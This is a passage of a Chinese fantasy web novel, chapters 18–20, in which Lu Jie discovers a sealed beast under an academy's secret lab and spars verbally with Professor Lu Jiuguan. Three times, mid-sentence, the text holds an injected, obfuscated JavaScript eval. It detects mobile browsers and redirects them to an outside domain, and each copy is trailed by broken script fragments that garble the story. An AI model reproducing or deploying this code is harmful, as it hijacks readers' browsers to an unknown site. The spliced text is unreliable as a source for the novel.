是他的第二个眷属。 那道从陆颉进入联合学院以来就在不断发出呼唤的声音,就来自隐藏在这片土地上的那个原初恶种。 他不用自己去寻找线索。 当他站上这片土地的时候,久候他的眷属就已经朝他发出呼唤。 教室外传来一阵喧闹声,急切的呼唤声忽然停下,陆颉机械地吃完剩下的早餐,姿态优雅神情冷淡地目视前方,一副拒人于千里之外的模样,但实际上他的眼神已经逐渐放空,意识就快要在浓重的睡意下彻底抽离。 不行—— 他怎么能在陌生的环境里入睡。 但他真的太困了,他需要的也不过只是几分钟的浅眠。 而且路九观……就在这里,在陆颉的身份下,他们暂时可以是…… 同……盟…… 精神在那一瞬间骤然松懈,因为缺少睡眠而一片混沌的大脑终于停摆,陆颉趴在书上,很快陷入了睡梦。 哗—— 他又做梦了。 梦里他出现在一株巨大到遮天蔽日的蓝花楹树下,温暖的日光从树影间隙洒落,带着干净清爽的香气。 陆颉感觉到从未有过的安心和放松。 没有组织,没有世光科技和斯通生物,没有邪神也没有救世主。 不用时刻保持警惕,不用步步为营殚精竭虑,也不用面临两难的抉择。 很美的……梦。 “……同学?同学!” 急促又紧绷的低喊让陆颉猛地清醒过来,他茫然转头,看到自己身旁的位置坐了个金发年轻人,此时正小心翼翼地梗着脖子面朝投屏,努力扯着嘴角发出气音。 “快醒醒,上课了……教授看过来了!” “咻——咚!” 紧张到变调的尾音还没消散,激光笔就迅捷无比地扎进了两人之间的桌板,在满堂哗然中,金发年轻人猛地坐直身体,而陆颉缓慢地偏过头,顺着激光笔落下的轨迹往回……看到了讲台上面无表情的路九观。 “看来我的课上已经出现了第一个需要留堂的学生。” 陆颉:“……” 这节该死的早课不得不来的原因,就是路九观该死的正是授课的客座教授。 “把激光笔拿回来,用你的异能。” 站在课堂上的路教授和站在战场上的首席执行官是如出一辙的铁血冷硬,但联合学院的学生显然是这种作风的完美受众,在整间教室几百名学生激动亢奋的呼吸声环绕中,坐在第一排正中央的陆颉被迫享受了和路九观一致的炙热目光洗礼,顿觉如芒在背。 可真是很受欢迎啊……路大执行官。 他带着被迫早起和睡到一半被打断的怨恨抬起头,面无表情地与台上人对视。 ——我凭什么听你的? “同学……同学?教授让你把激光笔拿回去。” 紧绷又小心的低喊再度响起,金发年轻人伸手碰了碰他的衣袖,陆颉甚至听见了对方紧张到吞咽口水的声音。 “留堂的是我,但激光笔没说让谁拿回去。” 路九观而已,这么紧张? 他为这种忐忑不安感到疑惑,随口说道:“你还也一样。” “真的吗?这么好的表现机会你要让给我?” 身旁传来的声音顿时昂扬了一个度,在陆颉更加费解的眼神中,异能迅速发动,扎入桌板的激光笔沿着原路晃晃悠悠返回,被路九观接入手中。 “很不错的控制力,杨金。” 轻飘飘的赞扬换来的是骤然加快的心跳声和全场立刻陷入火热的气氛,陆颉不置可否地翻开书,找到今天上课的内容。 ——传世书。 “现在开始自由讨论,五分钟后,让我知道你们对传世书的理解。” 在路九观与其说是引导讨论不如说是传达任务的命令下,整间课堂霎时躁动,所有人都在第一时间响应,仿佛都卯足了劲要在五分钟后做出一番惊天动地的演说。 陆颉……陆颉已经见怪不怪了,他百无聊赖地翻着书,摸了摸口袋,在一沓糖纸中搜寻一番后发现薄荷糖已经被消耗得一干二净,没忍住叹了口气。 “同学,不用担心,我可以来发言!” 这时候一旁的热心同学再度开口,陆颉眨了眨眼睛,转头朝身边看去,只见金发年轻人热情洋溢地朝他咧嘴一笑,如同一只金毛大狗。 “啊,你好,我是杨金,斯通生物资助的定向培养生,毕业以后会去异管局。同学你呢?” “陆颉。” 他注意到杨金特意点出了自己斯通生物的背景,心下了然。 和引导者传承一样,三大集团也一直保留着广纳门徒的传统,会从福利院、贫困家庭,甚至是一些隐秘特殊的机构中挑选资质优异的孩子提供资助,通常这样培养出来的人会非常忠诚,即便没有直接为集团效力,也会成为集团在世界各地的眼睛和耳朵。 陆颉自己就是这种传统下最大的受益者。 “我们可以先抛出一个观点,然后……” 杨金见他反应冷淡也不气馁,一脸阳光开朗地单方面讨论起来,陆颉安静听着,发现这个年轻人至少在理论知识储备上非常充沛。 和对方比起来,自己简直是个文盲。 “……” 陆颉很快发现这间课堂里确实只有自己一个文盲。 他看着一个又一个同学侃侃而谈,引经据典,互相之间激烈争辩,每每觉得他们马上一言不合就要见血的时候,下一刻居然又都能冷静克制地各退一步,最多斯文有礼地进行约架。 到底是文明世界的产物,联合学院果然和组织的训练营不一样。 理论知识十窍九通,实践课程门门满分的陆颉闭紧嘴巴,生怕自己脱口而出什么不合时宜的杀人方法和刑讯技巧,暴露他来自野蛮社会的事实。 联合学院毕竟和普通人的世界不一样,有太多能够诱发他露出破绽的地方。 上课前的松懈顿时一扫而空,陆颉重新警惕起来,下定决心。 还是要尽快找到第二个眷属,想办法早日脱身。 * 做出决定的当天晚上,陆颉就站在了密道的尽头。 这条密道是他无意间发现的,就在第一晚路九观和学院长夜谈的芦苇荡深处。这片规模庞大的芦苇荡里有大约十几处观景平台,密道入口则是其中一处平台的地景灯。 甚至进入密道后的路线都用灯光在平台地面标注了出来。 陆颉一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396467|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心底映照路线,一边仔细辨别着呼唤声的方向,接连路过近百个岔路口,其中甚至有几个让他产生了明显的危险预感。 联合学院的底蕴不比三大集团差,藏着的秘密也绝不少,陆颉不想节外生枝,谨慎地一路潜行,终于在这条密道的尽头停下来。 眼前是一个窄小的通风口。 “呜——呜——” 时有时无的呜咽声忽然变得清晰,陆颉脸色微变,感觉到那声音里抑制不住的痛楚和难过。 他不再犹豫,深吸口气,凭借极强的柔韧性拧身钻入,顺着这条通风道一路下滑。 很陡。 这是陆颉的第一反应。 整条通道极为倾斜,几乎呈九十度向下,陆颉尝试用四肢撑住两边延缓下降的速度,但下一刻通道内忽然亮起深绿色的光,突如其来的眩晕让他动作一滞,接着身体不受控制地开始急速下坠! 管壁内竟然被镶嵌了数不清的加速和眩晕异常物! 一股怪异的感觉忽然涌上陆颉心头。 通风道内怎么会有这样不计成本的设计?为什么会是加速和眩晕? 这不对劲——这条通风道究竟通往什么地方—— “呜——嗷呜——嗷!!!” 始终在耳边回荡的呜咽声蓦地消失,取而代之的是震耳欲聋的凶狠咆哮,浓郁的血腥味忽然自前方传来,短短数秒内陆颉已经滑落至通道尽头—— 那赫然是一个大敞的洞口! 狭小的入口,无法停留的陡峭通道,附着加速和眩晕的异常物……陆颉将所有信息综合到一起,忽然反应过来。 这条通道的作用根本不是通风,他曾经在屠宰场看到过类似的东西,这里和屠宰场运输牲畜的通道设计几乎一模一样! 这条通道的作用,是为了给下面运送食物! 那一瞬间陆颉心神急转,在即将完全滑落的刹那双手扣住管道边沿,就这样凭借着两条手臂吊住身体,而在同一时间带着腥风的哈气已经近在咫尺! “吼!” 狂躁的咆哮声带起强烈气流,将陆颉的身体吹得四处摇晃,他费力睁开眼睛,在看清下方的场景后忽然一愣。 这里是一个高达数百米的封闭空间,完全由隔绝异能的特殊石头砌成,地面和四壁都绘制着怪异的图案,只是看着就让人头晕目眩,恶心欲吐,显然有着特殊的作用。 而侧躺在地面中央的那只巨兽—— “嘤!是傻狗的味道!” 真言之书激烈颤动,猩红眼球从陆颉的领口探出,伸出细细的触手沿着光滑的壁面移动,讨赏般朝陆颉wink了一下。 “主人!这里有一个出口!” 陆颉“嗯”了一声,被触手拉着落在一处隐蔽的门前,注意力却始终放在身下。 “呜!嗷呜——哼!” 通体雪白的巨兽闭着眼睛,伸得长长的脖子在没有够到猎物后啪唧一声垂下去,含住自己散在地面的凌乱毛发舔咬,发出不满的含混哼哼声。 “呜?” 或许是嗅到了熟悉的味道,它在原地扭动几下,忽然翻身露出肚皮,两只前爪蜷在身前往脸上扑腾,后腿则不时在半空中蹬蹬,就好像是做了什么美梦。 陆颉恍惚了一下。 细细软软的呼唤声又开始在心底徘徊,但这一回他的眼前却浮现出很多零散的画面。那些画面全都围绕着一只通体雪白的小狗,从可以单手托在掌心,到半臂长的幼年时期,再到成年后满世界疯跑摇出残影的蓬松尾巴…… 最后是庞大如同山岳的巨兽从远处走来,在漫天坠落的火团下朝他低低鸣叫,一步步踏向逐渐崩裂的天地。 那是……他失去的记忆。 是他和自己眷属的过去。 他的第二个眷属,就是眼前这只睡得人事不省的巨兽。 是被联合学院藏在地底的秘密。 19. 联合学院(三) “呼——呼——呼噜!” 脚下的巨兽没心没肺睡得正香,看样子刚刚作势欲咬的动作也只是睡梦中下意识的反应,陆颉想到那只曾经在住宿区短暂出现过的小白狗,挠了挠猩红眼球的下巴。 “怎么让这傻狗醒来?” 他还没记起对方的名字,但傻狗二字意外地顺口,让他自然而然就脱口而出。 “狗子应该是为了能等到主人,所以一直在沉睡减少力量消耗。”猩红眼球幸福地蹭着陆颉手指,分出一根触手往他们身下探了探。 “让红红来看看,这傻狗到底怎么回——” “嘤!!!” 尖利的哀叫在下一刻响起,自两人所在平台以下的空间忽然亮起由无数银线组成的异能牢笼,猩红眼球探出的触手在瞬间被斩断,化作焦黑的碳粉散落。 陆颉皱眉环视四周,发现了更多隐而未发的机关,看上去想要进入这座封闭空间唯二的安全通道只有两处,一是运输食物的通风口,另一个就是自己此时站立的平台。 “嘤嘤!傻狗就是傻狗,在这里都能睡着!”哭哭啼啼的猩红眼球缩回真言之书,“主人,光凭借您的气息叫不醒这只就知道睡觉的傻蛋狗子……现在应该只有主人亲自接触到狗子才行。” “需要直接接触?” 陆颉若有所思地摸了摸下巴。 这样一来,他就必须下到异能牢笼之内,也就需要解除这里所有的机关和禁制。 而能够接触一切的控制中枢—— 他转过身,看向背后那道密闭的门。 “滴滴——” 有刷卡的声音,正从门的另一头传来。 两分钟后,在衣服外套着白大褂的陆颉双手插兜,不紧不慢地走出观察区,遮住大半张脸的口罩牢牢系在后脑,挡住了来自头顶上方监控的窥探。 他很幸运,出来查看情况的研究员除了通行证外还随身携带着一份手写的情报,看起来和陆颉一样目的不纯。 通过这份情报,陆颉也验证了自己的猜测。 位于联合学院地底的这一处秘密空间,是一个专门研究原初恶种的实验室。 这就好办多了。 陆颉走进休息区,和路过的实验员互相点头致意,不慌不忙往出口的反方向走去。 为了防止泄密,在这种实验室里不会有人工智能存在,采用的都是落后于时代一个版本的中控系统,这极大地便利了陆颉的行动。 他越走越深,路过的实验员也越来越少,直到前面再也无路可走的时候,陆颉停在了一处需要身份验证的门前。 直觉告诉他,这就是他要找的地方。 至于这里究竟是不是控制中枢——刚刚摸进档案室翻过实验日志的陆颉想了想,取出口袋中的通行证。 这座实验室创立于十年前,唯一的研究对象就是傻狗,但不知道为什么这么多年来没有产出任何研究成果,甚至看起来根本就没有进行过什么像样的研究,相反却源源不断地提供着高质量鲜食来维持狗子的生存需要。 在陆颉看来,这就好比自家狗子进了个免费的长期寄养宠物店。 果然是傻狗有傻福。 陆颉这样想着,随手将通行证贴近大门。 他很了解这些实验室的制度,手里这张通行证级别很高,在档案室里只有最高保密级别的那部分信息没有查看权限,也就是说在整个实验室内,这张通行证哪里都能去—— 只除了最核心最关键的控制中枢。 “噫呜噫呜噫呜噫呜——” 刺目的红光和高频警报声同时爆发,门外的监控探头自动捕捉到陆颉的身影,防御机制即刻被触发。 果然,验证失败。 但陆颉的验证已经成功。 通行证无法进入的区域—— 就是控制中枢! 陆颉转身狂奔,记下沿路被不断触发的防御机制和警卫涌出的位置,惊讶于这座明显在摆烂的实验室居然防卫如此森严,心下明白仅凭自己想要在短时间内接近傻狗已经是不可能。 他必须借助组织的力量。 * “咚咚咚!” “咚咚咚咚咚咚!” 粗暴的拍门声回荡在夜色下,陆颉打开大门,迎面被战术手电晃得睁不开眼,他皱眉侧过身,不动声色挡在玄关。 “保安部查寝!你叫什么?刚刚在哪里?” 领头的保安队长气势汹汹开口,身后跟着的小队默契散开呈半包围状将门堵住,这副架势与其说是查寝,不如说更像是要武装入侵。 陆颉没有立刻做出回应。 他在敲门声响起的半分钟前刚刚回到住处,匆忙间出门只来得及销毁了换下的衣物,而手机里众多在档案室内拍摄的实验记录照片还来不及处理。 那将成为他入侵实验室的铁证。 陆颉装作有些困顿的模样,眯着眼睛不说话,一时想不到有什么脱身的办法。 联合学院不比外界,集团身份在这里高不过学院命令。不论这些保安是例行检查还是有目的地怀疑上了自己,都不可能轻易被他几句话打发走。 要让这些只听命于学院长的安保部队退让,除非…… “联合学院一级搜查令,保安部今晚的行动所有师生都必须配合!” 见他没有反应,保安队长的语气顿时更加冷厉,陆颉微低着头,还在想着该怎样遮掩,门外忽然传来了另一道刻意加重的脚步声。 以及一道冷静沉稳的声音。 “他今晚一直在我那里留堂,刚刚被我送回来。” 陆颉霍然抬头。 是路九观。 头顶云雾半开,落下清亮的月光,正照在从容走近的男人身上。 或许今夜难得没有工作可以放松片刻,路九观换下了正装,穿着一身浅色系质地柔软的休闲服,腋下夹着一本书,鼻梁上还架着一副无框眼镜,看起来一副儒雅随和好说话的模样,和白天铁血冷硬的执行官简直判若两人。 领头的保安队长似乎有些犹豫,看了看始终站在门内阴影中的陆颉。 陆颉不动声色掩住门,主动走出屋外,露出恰到好处的疑惑神情:“路教授,您怎么回来了?” “你有一本书落在我那里了。”路九观很配合地开口,说完后转向保安队长笑着问道,“他今晚和我在一起,我可以为他作证。你们不会连我都要怀疑吧?” 保安队长后退一步,连忙摆手:“路教授,我们当然不会怀疑您。” “学院长关照过,您这边不在搜查范围内,既然有您的作证,我们就不打扰了。”他抬手做了几个手势,散开的小队立刻归拢,很快消失在夜色中。 “放心,他们不会再回来的。在联合学院里这点面子我还是有的。” 一段时间后,直至再听不见那群保安的脚步声陆颉才放松下来,接着就听到了路九观似笑非笑的调侃。 “这时候知道喊我教授了?” 陆颉双手抱胸倚在门边,完全没有开门请人进去的意思,只是仰着脸朝路九观抬了抬下巴。 “还有什么事?” “我好歹也是你的引导者,对我戒心可以不用这么强。” 路九观似乎有些无奈,神情里却依旧带着堪称柔和的笑意,这种古怪的态度让陆颉立刻警觉起来。 “你到底有什么事?” “这个给你。”似乎是察觉到了陆颉警惕心拉满即将亮爪的无声警告,路九观终于进入正题,递过那本被他夹在腋下的书。 “冀董事长请我带给你的,这上面有我在联合学院读书时记录的所有秘闻和密道,你可以自己去探索。” “他让你给我的?” 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396468|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颉将信将疑接过翻开看了看,这本薄薄的册子内大部分都是地图,哪里有密道,哪里有机关,出口和入口在哪里都记录得清清楚楚,几乎可以说是一份联合学院地图集。 他甚至在一瞥间看到了通往实验室的另外几条密道。 “原本我就打算给你这个,联合学院秘密很多,不探索实在可惜,盲目探索又容易引来保安部,得不偿失。”路九观一摊手,笑得意味深长,“我亲爱的学生,你说是不是?” ……这个混蛋果然猜到了。 陆颉目光不善地看过去一眼,转身就要回屋,结果路九观反应极快地上前一步,用手臂顶住门,神情变得严肃起来。 “陆颉,我不是在开玩笑。联合学院对你来说并不安全,很多人都在注视着你,他们的目光不一定是善意的……相反有更多人在等着你犯错。” 陆颉一怔,想到了路九观和学院长在河边的对话。 救世主或是邪神祭品,只在一念之差? 是因为这个吗? “明天一整天是学院的迎新活动,我收到消息,舞会上有人要对你不利。”路九观的语气缓和下来,轻声开口,“明天一早我来接你,跟着我不要乱跑。” “不需要。”陆颉干脆利落地拒绝。 和路九观待在一起,只会比单纯应付那些图谋不轨的人要更加心累。 “你必须要。”但路九观显然厚脸皮至极,根本不听陆颉的拒绝,甚至还摆出了一副语重心长的姿态,言辞恳切又暗含威胁,“今晚的留堂你逃了,总是要补的吧?总不能老师刚刚帮了你,你就这么伤老师的心?” “……” 陆颉没有被威胁到,但是被恶心得够呛,于是也就没有及时躲开路九观突然的凑近。 温热的指腹贴上颧骨,抹去正在缓缓渗出的血迹。 “那么就这样,早点睡觉。” 滚烫的吐息擦过耳廓,带来一阵阵蓝花楹独特的清香,陆颉因为这突如其来的亲密动作背脊骤然紧绷,抬手按住路九观的前胸发力要将他推开,但下一刻他的手腕被握住,路九观若无其事直起身体,就好像什么都没有发生那样朝他轻轻颔首。 “放心,保安部经常会像今晚一样出动,毕竟总有很多人试图闯入学院的各个角落。但只要不被抓住,或者没有证据,学院就会当作什么都没有发生。” 路九观绅士地放开他的手,退后一步。 “记得处理好伤口。” “明天见。” ……明天。 陆颉回到卧室,另一只手从口袋里拿出手机,通话另一头传来不紧不慢的问话。 “你明天会和路九观一起吗?” “……我会找机会甩开他。”陆颉低声开口,将始终在通话中的手机放在洗手台,神色不明地摸了摸颧骨上的擦伤。 “不会影响组织任务的,哥哥。” “路九观说有人要在明天对你不利。”扣在耳道内的耳机传来冀云中温和的嗓音,“既然这样,明天的局势会比我们的预计更混乱。组织会给你创造潜入的机会,你的任务就是将原初恶种带走。” “明白。”陆颉简短地应了声,拿出创口贴在脸上比划着,但发现颧骨上的伤口已经愈合。 他沉默了一会儿,放下创口贴,收起已经挂断通话的手机,翻开路九观带来的地图集,与自己记忆中的路线进行比对。 明天的计划不容有失,在天亮之前他需要做好所有准备。 不引起路九观怀疑地甩掉他,潜入实验室,重新契约傻狗,再利用混乱的局势将一个原初恶种的消失掩盖过去。 投注在他身上的目光越来越多,行动的难度将会直线上升,但他的目标从未改变。 他将找回自己的第二个眷属。 蒙骗过所有人。 而明天,就是那个最好的机会。 20. 联合学院(四) 叩叩。 “陆颉,准备好了吗?我们该出发了。” 敲门声响起的时候陆颉正在往自己的腿挂上绑匕首,他心烦地将衬衣下摆塞进裤腰,确认马甲将战术腰带完全遮住,接着穿好在袖子内隐藏着合掌刀的风衣,对着镜子最后检查一遍。 没有破绽。 “砰!” 卧室门被一脚踹开,穿着深灰条纹西服,口袋里插着方巾甚至还佩戴了一朵白玫瑰的路九观神情肃然跨入门内,迅速扫视房内一圈,接着在陆颉不耐烦的冷脸中放松下来。 “看你一直没反应,都做好要救命的准备了——原来是我亲爱的学生正在为自己的舞会造型发愁。” 确认一切安全后路九观也不离开,只是大剌剌斜倚在门边,目光上下扫过陆颉,挑剔地挑了挑眉。 “舞会你就穿成这样?” 不然还能怎样?陆颉用眼神回答,无声收起滑落至掌心的短刀,很想给那张让人心烦的脸来上一刀。 一天了,今天一整天路九观都是这副草木皆兵的模样,一时半刻不能脱离他的视线,这样下去自己该怎么从舞会中途离开?难道要打晕这家伙吗? “看来你在世光科技的礼仪课没有好好上……” 那张令人心烦的脸在下一刻突然凑近,路九观走到他背后,将双手环过他的肩膀,修长十指灵巧地穿梭在衬衣领口,很快系上了一条深灰色波点领带。 陆颉僵着身体:“……路九观你在干什么!” “好像还缺点什么?” 在陆颉逐渐冒出杀意的目光下,今天打扮得格外骚包的男人沉思片刻,扬手打了个响指,露出掌心里躺着的一枚吊坠。 “差点忘了,这是作为引导者给你的见面礼。” “我说过了不需要——” 陆颉为两人过近的距离不适应地蹙眉,抬肘后击想要迫使路九观退开,但在和路九观这种顶级强者对抗的时候,任何分神都意味着致命的破绽,陆颉在第一时间升起的错愕让他失去了先机—— 他的手肘被抓住一拉一带,整个人失去平衡倾倒,接着被推到穿衣镜前,背脊撞上镜面的刹那一只手先一刻垫在颈后托住他,紧接着路九观就着这个让陆颉战斗本能疯狂预警的危险姿势,倾身向前继续拉近两人的距离。 “咔哒。” 搭扣在颈侧闭合,随后被调整至合适的位置,被迫暴露出咽喉任人贴近摆弄的姿态让陆颉挣扎的动作一顿,下意识进入极端戒备的状态,但又因为路九观没有丝毫恶意,甚至堪称温柔的动作变得浑身僵硬,陷入一种不知所措的茫然。 他本能地厌恶这种身体接触,因为那会让他想起一些不好的回忆,但理智却总在一遍遍告诉自己,这是路九观向他释放的善意,或者说,是比那更进一步的…… “好了,看看?” 陆颉回过神,压下心底那些猜测,注意力随即被贴在锁骨处,散发出隐隐异能波动的吊坠吸引。 这种异能波动很特殊也很熟悉,因为陆颉曾经负距离接触过。 平和的,稳定的,存在感无比鲜明的,体贴温柔却强势霸道的,是乍一看和路九观截然不同,但其实与对方一模一样的特质。 所以…… “这是什么?”他神情危险地单手握住吊坠,不可遏制地升起想要立刻将它毁掉的冲动,“路九观,如果你给我装什么定位仪或者监控……” 不管路九观究竟要做什么,他这种行为和狗撒尿圈地盘有什么差别? “你在想什么?你是我的学生,不是我的犯人。”路九观退后一步摊开手,一脸做作的无奈,“陆颉,我们也算认识有段时间了,你就这么不相信我?” “谁是你的学生。”陆颉冷淡地开口,脸色彻底冷下来,他握住吊坠的手发力将它扯下,看也不看就往路九观身上扔去,“少自作多情,我没答应过让你成为我的引导者。” 路九观这种自说自话,自顾自决定一切的霸道行径让他感到无比厌烦。他讨厌这种被控制被左右的感觉,也无比憎恶一直以来因为力量弱小而必须隐忍求全的自己,他更不想在路九观这里还要继续逼迫自己忍耐—— “哎,别扔!会碎的!”路九观手忙脚乱接住吊坠,原本带着揶揄的神情也变作真正的无奈,在陆颉面无表情的注视下深深叹了口气。 “好吧,其实这枚吊坠是由我的一小块异能核心制作成的。” ……什么? 陆颉愕然抬头。 打扮得如同开屏孔雀的首席执行官一脸正色,指天发誓:“我保证自己绝对无法对它进行任何控制,这一点你可以向学院长求证,如果还不放心,你也可以请冀董事长亲自查证。” “事实上这是我们三人讨论过后的决定。”在陆颉狐疑的目光下,路九观干咳一声,解释道,“在特殊病院里你突然异化的现象很不寻常,因为净化异能会让你免疫一切恶念污染,所以离开后我问过冀董事长,知道了你的情况。” “陆颉,你的病……” 路九观似乎有些犹豫,顿了顿还是继续说道。 “冀家主告诉我,你之前情况已经稳定下来,但可能是异能觉醒的刺激导致你再度病发——而发病的时候你的异能也会失效,世光科技一直在研究你的病,但目前还没有一劳永逸的解决办法,只有依靠特效药及时缓解。” 陆颉沉默不语。 这确实是目前对他而言最大的制约,但实际情况比路九观知道的要复杂更多。 他的虚弱状态会随着发病的时间逐渐缓解,力量也随之恢复,只不过会伴随着剧烈的持续不断的痛楚。而这么多年下来,他有意控制着自己尽量不去用药,其实已经能够适应这种伴随着痛苦的身体状态,除了在发病初期确实虚弱至极以外,其余时候这种生理意义上的痛苦都已经不会影响到他的行动。 但是—— “这和你的异能核心有什么关系?”陆颉冷静地发问,觉得自己似乎隐隐抓住了什么。 那一次发病从头到尾都很不寻常,他发病得很快,但到达联合学院后也已经完全恢复正常。原本陆颉以为是特殊病院里的那个存在被镇压后对自己灵魂的影响自然消失,但现在看来或许还有别的可能? “后来学院长提醒我,我们的临时异能融合并没有在二十四小时后完全解除,否则以你当时异能完全丧失且毫无防护的状态,本应该当场就被直接异化。” 在陆颉沉思的时候路九观始终保持着安静,耐心地等着他回过神,这才继续开口。 “所以我们推测我的异能能帮助你更快恢复,仔细想想,当时在审判庭内你能进入我的噩梦就证明我们的异能非常适应和熟悉彼此,否则在特殊病院里也不可能这么恰巧让我们意外形成条件苛刻复杂的异能融合……尽管只是临时的。” “异能融合……” 陆颉喃喃着,那种隐隐抓住什么的感觉落到实处,他终于想起来自己这段时间始终感到违和的地方在哪里。 ——异能融合。 不论是真言之书还是传世书的预言,都在强调邪神和救世主之间的绝对敌对关系,但真正的异能融合是只有异能者伴侣间才可能形成的稳定连结,如果按照异能界约定俗成的认定,那他和路九观之间绝不会是什么生死之敌—— 他们根本就是异能匹配度超高的天生一对! “对,我们之间的异能匹配度可能是绝无仅有的百分之百,所以也只有我的异能核心能够缓解你的病。” 路九观像是知道陆颉在想什么,缓缓开口道。 “陆颉,你不用有什么负担,这点异能核心的剥离对我的影响很小,在我们异能融合状态下,我能感觉到它正在被不断修复,很快就会恢复如初——既能缓解你的病情,又对我损伤微乎其微,这是代价最小的方式。” “代价最小,并不是没有代价。” 陆颉喃喃着开口,偏过视线,不去看那对明明是深沉幽深的黑色,但不知为何却灼人异常的眼睛。 “路九观,你为什么……” 你为什么可以做到这种程度? 你为什么在十年前那场大火后还这么天真? 你为什么……要对我这么好? “没有不求回报的付出……你到底想要从我这里得到什么?” 陆颉有些茫然地开口,觉得自己好像陷入了一个思维怪圈,从两人接触以来,他作为噬光和异管局的敌对,作为邪神和救世主的敌对,传世书的预言,真言之书的扉页……方方面面,种种件件,所有一切都在不断强化一个信息。 他和路九观不可能和平共处,他们是无法共存的宿敌,他们终究会有一个人死在另一个人手里。 但事实上在他以陆颉的身份真正和路九观相处后,却又总会时不时得到一些巧合至极,令人难以置信,但却不容辩驳,无法忽视的……来自于身体本能反应,甚至是异能核心这种力量本源给出的反馈。 那些反馈,给出了完全不同的答案。 他与路九观之间,他对路九观,路九观对于他…… 他们到底怎么了? 他到底……怎么了? “我当然不是一无所求。” 带着笑意的声音落下,顿时让陆颉心底一松,某种原本已经呼之欲出的答案再度被按进心底最深处,重新落入被本能和理智牢牢封锁的牢笼。 他轻吸口气,再缓缓吐出,让自己从游移彷徨不确定的状态里脱离,接着问道:“你想要什么?” 路九观说出这句话,陆颉就已经做好了准备。按照二十二年来他习惯了的处事方式—— 付出代价,获得收益,得到什么,失去什么。等价交换已经是最好的手段,他更熟悉的是丛林法则,弱肉强食适者生存才是这个世界的真实。 陆颉仰起脸,神情平静地与路九观对视,等着对方提出条件。他在心里预想着各种可能和应对,反复琢磨自己最多可以付出怎样的代价,来换取最有收益的结果。 但这时,他却发现路九观今天的态度有些不同寻常,除了最开始一如既往的肆意霸道惹人厌烦,后来却忽然收敛起了一身咄咄逼人的压迫感,回望他的目光有力而平和,带着种让人悚然的沉静与温柔。 他听到路九观低声的,但却坚定的嗓音缓缓响起。 “我想要的是陆颉这个人,可以尽情自由地享受他的人生,不被病痛折磨,不为身份所困,不必小心翼翼瞻前顾后。如果他愿意,可以用好自己的异能为这个世界出一份力,如果他不愿意,那只要不用来作恶,其他做什么都是他的自由。” 陆颉诧异地睁大眼睛,呼吸微微急促起来,一种滚烫的说不出来的感觉忽然涌遍全身,就好像有人握着心脏重重挤了一下,不痛,但却闷闷钝钝的难受。 他听过太多暗藏深意的不同声音,早就能分辨出各种声音下的真实意图——哪些意味着别有所图,哪些隐含威胁,什么样的是无法反抗的命令,什么又代表着可以争取。他总是用一些东西去换取另一些,从来没想过会有人对自己说出这样的话。 全然真心的,只为了他好的,别无所求的。 路九观他怎么可以……这样。 陆颉有些狼狈地侧过身,试图掩饰自己骤然暴露出的脆弱和动摇,发麻的指尖被死死蜷紧,用力克制着浸满痛意和酸涩的呼吸。 “陆颉,我对你说这些当然有我的私心,但我对每一个人都抱有如此的期望。不论是谁,都应该自由、尽情,以最好的方式去感受自己的生命。” 温热的掌心按在肩头,路九观同样侧过身体,用一种近乎叹息的语调开口:“虽然我们可能一辈子都无法做到这样的自由和尽情,但我们总该抱有这样的期待,朝那个方向试着多走一步……所以多相信自己一点……我们一起努力走过去。” 陆颉闭上眼睛深深呼吸,紧握的十指在剧烈的颤栗下松开,触摸到被放入掌心的那枚吊坠。 “你看,我的异能核心是火红的,摸上去也很温暖,戴着会很舒服的。”路九观低低笑着,引导他合拢掌心,温暖的异能气息果然一点点渗入肌肤,没有受到分毫抵触。 火红的异能核心…… 陆颉出神地凝视着着那抹耀眼夺目的红,眼前忽然晃过一闪而逝的画面。 连绵不断的,如同烈火般灿烂耀眼的凤凰花林。 深夜偷跑出来的自己……还有…… 还有谁? 有模糊的身影在脑海中一晃而过,很快化作记忆碎片消失得干干净净,陆颉晃了晃脑袋,有些奇怪地再度看向路九观手中的吊坠。 他刚刚怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396469|184295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会想到实验基地里的凤凰花? “不过你不喜欢就不戴了,放在我这里替你保存。” 下一刻他听到路九观略带惋惜的声音响起,接着手中吊坠被向上提起,逐渐脱离掌心,一股莫名的情绪让陆颉蓦地收紧五指,脱口而出。 “不行!” 路九观的呼吸似乎暂停了一瞬。 “不是要去舞会吗,再不走就迟到了。” 反应过来的陆颉抿了抿唇,有些懊恼,但更多的却是一种自己也说不清的放松。他在路九观眼底逐渐扬起的笑意里飞快抽走吊坠,转身头也不回地离开。 